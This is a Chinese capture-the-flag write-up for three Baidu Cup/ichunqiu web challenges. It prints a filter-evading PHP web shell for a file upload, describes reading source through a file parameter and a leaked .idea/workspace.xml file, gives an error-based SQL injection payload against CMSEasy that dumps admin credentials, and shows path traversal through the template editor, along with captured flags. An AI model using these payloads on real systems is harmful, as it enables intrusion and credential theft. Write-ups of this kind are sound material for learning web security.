百度杯 CTF夺旗大赛 ---ichunqiu
Upload
什么文件都能上传 但是过滤了 <?和php
上传 内容为
1 | <script language=pHp>$a = chr("97").ssert;$a($_POST[a]);</script> |
密码为a 菜刀连一下 查看源代码能看到上传地质为 /u/1.php
就能找到flag了
Code
这是一个原题 还好玩了NUCA的练习赛
[原题链接
](http://www.hetianlab.com/html/news/news-2016072907.html)
构造view-source:http://909016d9650e4ced96fbbfc0b0f61f69d1996142d4d34845.game.ichunqiu.com/index.php?jpg=index.php并解码。得到index.php的源码内容,如下所示
可以看到一个正则 将 -
改为config
这个正则等下会用到
然后根据原题的writeup 这个题目应该也是有一个.idea/workspace.xml
的文件泄露
我们访问一下
我们会看到一个名字叫fl3g_ichunqiu.php
的文件 根据wp 我们知道这是一个加密算法文件 读取一下 根据 上面的正则 我们知道 应该访问的是index.php?jpg=fl3gconfigichuqiu.php
再解码得到加密函数
1 |
|
最后用wp的poc 得到了16个加密密文 用burp跑一下就能得到flag了
1 | flag{92b5f008-4cfb-4f16-abdb-3475e2d0f543} |
YeserCMS
MD 什么YeserCMS 明明是cmseasy
管理员账户是amdin
我先找一下后台好了 访问robots.txt
发现两个重要的地方
一个是后台地址 一个好像也是告诉我flag 在flag.php 里面 但是直接访问读不出来
百度一下cmseasy的漏洞 找到一个payload
1 | xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxxNaN</q></xjxquery>xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),20,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery> |
两次url编码后post注入 注入点是/celive/live/header.php
拼接一下得到flag的md5值
解密出来是 Yser231
访问 /index.php?admin_dir=admin&site=default
进入到后台
然后就各种找getshell 没有一个成功
后来发现 有一个地方 模版>当前模版编辑
点击编辑
并抓包
改id为../../flag.php
get flagflag{0873701b-aa86-4d7c-b785-3f2c57650157}